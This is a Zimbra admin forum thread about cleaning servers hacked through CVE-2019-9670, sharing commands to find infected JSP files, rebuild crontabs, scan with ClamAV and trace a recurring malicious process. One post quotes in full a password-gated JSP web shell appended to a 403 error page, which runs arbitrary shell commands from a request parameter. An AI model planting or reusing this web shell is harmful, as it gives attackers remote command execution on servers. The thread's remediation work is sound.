CVE-2019-9670 being actively exploited (Hacked Server)

Discuss your pilot or production implementation with other Zimbra admins or our engineers.
erefer@gmail.com
Posts: 3
Joined: Tue May 28, 2019 12:41 pm

Re: CVE-2019-9670 being actively exploited

Post by erefer@gmail.com »

crontab can be rebuilt using the following link:

https://wiki.zimbra.com/wiki/Step_to_re ... imbra_user

Thanks to all of you folks who help in this affair.
erefer@gmail.com
Posts: 3
Joined: Tue May 28, 2019 12:41 pm

Re: CVE-2019-9670 being actively exploited

Post by erefer@gmail.com »

To find exploited jsp's, I also used these commands:

find /opt/zimbra -name \*.jsp -exec grep --with-filename LlSqsDmOgh {} \;
find /opt/zimbra -name \*.jsp -exec grep --with-filename exec {} \;

Some legit jsp can be edited to remove the offending code. Some jsp can be completely removed if they contain only offending code.

LlSqsDmOgh is part of the password passed to the "ppwd" parameter in request. But it may vary according to your server

We warned that the second find will find legit JSPs, but you are looking for Runtime.getRuntime().exec there ...
User avatar
jorgemop
Posts: 20
Joined: Sat Sep 13, 2014 3:27 am
Location: Venezuela

Re: CVE-2019-9670 being actively exploited

Post by jorgemop »

maxxer wrote:Has anyone with recurring infections checked if the attacker uploaded a key to /opt/zimbra/.ssh/authorized_keys? Or if there are remote ssh logins for the zimbra user?

Yes, apparently the chinese guys takes control of zimbra user, they load a tons of script en /tmp/ and /opt/zimbra/log/ some are hidden or try to maskit with zmswatch. I have a compilation of this scripts if you need it
zimbraxtc
Posts: 10
Joined: Mon May 27, 2019 6:13 pm

Re: CVE-2019-9670 being actively exploited

Post by zimbraxtc »

jorgemop wrote:
maxxer wrote:Has anyone with recurring infections checked if the attacker uploaded a key to /opt/zimbra/.ssh/authorized_keys? Or if there are remote ssh logins for the zimbra user?

Yes, apparently the chinese guys takes control of zimbra user, they load a tons of script en /tmp/ and /opt/zimbra/log/ some are hidden or try to maskit with zmswatch. I have a compilation of this scripts if you need it
I had problems with re-occuring zmswatch after about 2hours, even after the "cleaing" process and removed the authorized_keys file and also placed a dummy /opt/zimbra/log/zmswatch with rrr and owned by root, changed password for zimbra-user. Has been ok for 4 hours now.

Going to make a fresh install asap...
sony2sony
Posts: 1
Joined: Wed May 29, 2019 6:40 am

Re: CVE-2019-9670 being actively exploited

Post by sony2sony »

erefer@gmail.com wrote:To find exploited jsp's, I also used these commands:

find /opt/zimbra -name \*.jsp -exec grep --with-filename LlSqsDmOgh {} \;
find /opt/zimbra -name \*.jsp -exec grep --with-filename exec {} \;

Some legit jsp can be edited to remove the offending code. Some jsp can be completely removed if they contain only offending code.

LlSqsDmOgh is part of the password passed to the "ppwd" parameter in request. But it may vary according to your server

We warned that the second find will find legit JSPs, but you are looking for Runtime.getRuntime().exec there ...
Hello

my /opt/zimbra/jetty-distribution-9.1.5. v20140505/webapps/service/error/403.jsp has been modified at 22 may and contain


___________________________________________________________________________________________________________________
<!--
* ***** BEGIN LICENSE BLOCK *****
* Zimbra Collaboration Suite Server
* Copyright (C) 2011, 2013, 2014 Zimbra, Inc.
*
* This program is free software: you can redistribute it and/or modify it under
* the terms of the GNU General Public License as published by the Free Software Foundation,
* version 2 of the License.
*
* This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY;
* without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
* See the GNU General Public License for more details.
* You should have received a copy of the GNU General Public License along with this program.
* If not, see <http://www.gnu.org/licenses/>.
* ***** END LICENSE BLOCK *****
-->
<%@ page import="com.zimbra.common.util.L10nUtil,com.zimbra.common.util.L10nUtil.MsgKey" %>
<HTML>
<HEAD>
<meta http-equiv="Content-Type" content="text/html; charset=ISO-8859-1"/>
<title>Error 403</title>
</HEAD>
<BODY>
<%--
This page can be customized.
--%>
<h2>HTTP ERROR: 403</h2>
<pre>You are not allowed to access this page.</pre>
</BODY>
</HTML>
<%
if ( "9IqLsIrc9sqPpd1ZIB0WWKNQ-HoW_UeU287zodXMw-s" .equals( request.getParameter(
"p"
+ "pwd"
) ) ) { java.io.InputStream YexyzlqLe =
Runtime.getRuntime() .exec (
new String[]
{ "/b" +
"in/sh"
, "-c" ,
request.getParameter( "p" +
"com"
) }
) .getInputStream() ;
int FFpy = -1 ;
byte[] XkODQp =
new byte[ 20 ] ;
out.print( "<p"
+ "re>"

) ;
while( ( FFpy
=
YexyzlqLe.read( XkODQp ) )
!= -1
) { out.print(
new String( XkODQp,
0, FFpy ) ) ;
}
out.print( "<" + "/pre>" ) ; }
%>
________________________________________________________________________________________________________________________________


cant find original file for comparation

say me please, the code after tag </HTML> is infection???
elby
Posts: 16
Joined: Tue May 28, 2019 7:37 am
Contact:

Re: CVE-2019-9670 being actively exploited

Post by elby »

I find this:
====
/opt/zimbra/libexec/600.zimbra:if [ -f /opt/zimbra/log/swatch.pid ]; then echo "Restarting zmswatch"; $SU "/opt/zimbra/bin/zmswatchctl reload"; fi
/opt/zimbra/libexec/zmrcd: "start snmp" => "/opt/zimbra/bin/zmswatchctl start",
/opt/zimbra/libexec/zmrcd: "stop snmp" => "/opt/zimbra/bin/zmswatchctl stop",


/opt/zimbra/libexec/zmrcd

"start snmp" => "/opt/zimbra/bin/zmswatchctl start",
"start spell" => "/opt/zimbra/bin/zmspellctl start",
"stop mailbox" => "/opt/zimbra/bin/zmstorectl stop",
"stop ldap" => "/opt/zimbra/bin/ldap stop",
"stop mta" => "/opt/zimbra/bin/zmmtactl stop",
"stop antispam" => "/opt/zimbra/bin/zmantispamctl stop",
"stop antivirus" => "/opt/zimbra/bin/zmantivirusctl stop",
"stop snmp" => "/opt/zimbra/bin/zmswatchctl stop",

=======================================================

/opt/zimbra/libexec/600.zimbra:if [ -f /opt/zimbra/log/swatch.pid ]; then echo "Restarting zmswatch"; $SU "/opt/zimbra/bin/zmswatchctl reload"; fi
/opt/zimbra/libexec/zmrcd: "start snmp" => "/opt/zimbra/bin/zmswatchctl start",
/opt/zimbra/libexec/zmrcd: "stop snmp" => "/opt/zimbra/bin/zmswatchctl stop",


/opt/zimbra/libexec/zmrcd

"start snmp" => "/opt/zimbra/bin/zmswatchctl start",
"start spell" => "/opt/zimbra/bin/zmspellctl start",
"stop mailbox" => "/opt/zimbra/bin/zmstorectl stop",
"stop ldap" => "/opt/zimbra/bin/ldap stop",
"stop mta" => "/opt/zimbra/bin/zmmtactl stop",
"stop antispam" => "/opt/zimbra/bin/zmantispamctl stop",
"stop antivirus" => "/opt/zimbra/bin/zmantivirusctl stop",
"stop snmp" => "/opt/zimbra/bin/zmswatchctl stop",

===

But I think zmswatchctl and zmswatch are different.
AB_Zimbra
Posts: 4
Joined: Sat May 25, 2019 12:52 pm

Re: CVE-2019-9670 being actively exploited

Post by AB_Zimbra »

sony2sony wrote: say me please, the code after tag </HTML> is infection???
Yes, you need to remove everything after </HTML>.

Just download the original .tgz and patch .tgz files for the original source.
User avatar
opsystem
Posts: 33
Joined: Mon Nov 20, 2017 6:32 pm

Re: CVE-2019-9670 being actively exploited

Post by opsystem »

@elby and @sony2sony (and everyone intereseted in finding infected files)
You can check your files against original ones from official .tgz, just extract the jetty part (for 8.6 it's in zcs-NETWORK-8.6.0_GA_1153.RHEL7_64.20141215151204\packages\zimbra-store-8.6.0_GA_1153.RHEL7_64-20141215151204.x86_64.rpm\zimbra-store-8.6.0_GA_1153.RHEL7_64-20141215151204.x86_64.cpio\.\opt\zimbra\jetty-distribution-9.1.5.v20140505\)

I don’t know if it could be a good idea to:
- Zmcontrol stop
- Replace whole jetty folder with extracted from original package
- Apply patch
- Fixperms

Maybe I’ll try this if the infection returns in my servers after cleaning.

Anyway I’m sharing my findings on a couple 8.7 affected installations:

Some infected .java and .class files were inside a jsp folder /opt/zimbra/jetty-distribution-9.3.5.v20151012/work/zimbra/jsp/org/apache/jsp/public_/jsp and it seems they have been there for last 2 months so if you’re restoring from backups be careful.

On 8.7+ if your clamAV is >0.99 you can attempt an internal scan as root against Zimbra / jetty folders and it’ll find some (not all) offending files (adjust paths for your installation):

- First do a DB update

Code: Select all

/opt/zimbra/clamav/bin/freshclam --config-file=/opt/zimbra/conf/freshclam.conf
- Then scan:

Code: Select all

/opt/zimbra/common/bin/clamscan --database /opt/zimbra/data/clamav/db/ --recursive=yes --tempdir=/tmp --remove=no --scan-archive=no --scan-mail=no --max-filesize=5M --stdout --infected --exclude-dir='/opt/zimbra/store|/opt/zimbra/index' /opt/zimbra/
- Or just

Code: Select all

/opt/zimbra/common/bin/clamscan --database /opt/zimbra/data/clamav/db/ --recursive=yes --tempdir=/tmp --remove=no --scan-archive=no --scan-mail=no --max-filesize=5M --stdout --infected /opt/zimbra/jetty-distribution-9.3.5.v20151012
Don’t forget all others steps before and after cleaning (stop+fix cron, kill zmswatch, restart mailbox service, change passwords, cleanup suspicious accounts, etc)
Drake
Posts: 8
Joined: Tue May 28, 2019 8:52 am

Re: CVE-2019-9670 being actively exploited

Post by Drake »

So ....i think i have some progress.

First thanks to:

erefer@gmail.com for the usefull commands
AB_ZIMBRA for defining me what is the malicious part in 404.jsp file
opsystem for the info about how to get the original files

In my case i did the following:
1. find /opt/zimbra -name \*.jsp -exec grep --with-filename exec {} \;

2. Checking the resulting files and compare them with the original files from the installation source. Then replacing them with originals from the installation source
Some of them but not all were:
/opt/zimbra/jetty-distribution-9.1.5.v20140505/webapps/service/error/sfdc_preauth.jsp
/opt/zimbra/jetty-distribution-9.1.5.v20140505/webapps/zimbra/public/login.jsp
/opt/zimbra/jetty-distribution-9.1.5.v20140505/webapps/zimbra/public/Ajax.jsp
/opt/zimbra/jetty-distribution-9.1.5.v20140505/webapps/zimbraAdmin/public/jsp/Debug.jsp
/opt/zimbra/jetty-distribution-9.1.5.v20140505/webapps/zimbra/public/jsp/CryptCore.jsp

3. The most shitty one was CryptCore.jsp which does not exist in the original sources and contains only malicious code. When i delete it some process recreates it again.

4. Using the following commands i managed to determine the which proccess recreates the file and then killed it.
auditctl -w /opt/zimbra/jetty-distribution-9.1.5.v20140505/webapps/zimbra/public/jsp/ -p war -k whatsgoingon
rm -rf /opt/zimbra/jetty-distribution-9.1.5.v20140505/webapps/zimbra/public/jsp/
tail -f /var/log/audit/audit.log
auditctl -W /opt/zimbra/jetty-distribution-9.1.5.v20140505/webapps/zimbra/public/jsp/ -p war -k whatsgoingon

5. The shitty process was zmlogswatch

Gonna update my previus post with the new info soon.
elby
Posts: 16
Joined: Tue May 28, 2019 7:37 am
Contact:

Re: CVE-2019-9670 being actively exploited

Post by elby »

How do I extract the original files from the installation source to replace the infected files with them? Under Windows.


Zimbra 8.6.0_GA Network Editions

edit: https://www.altap.cz/salamander/feature ... r-windows/
Last edited by elby on Wed May 29, 2019 3:20 pm, edited 1 time in total.
Post Reply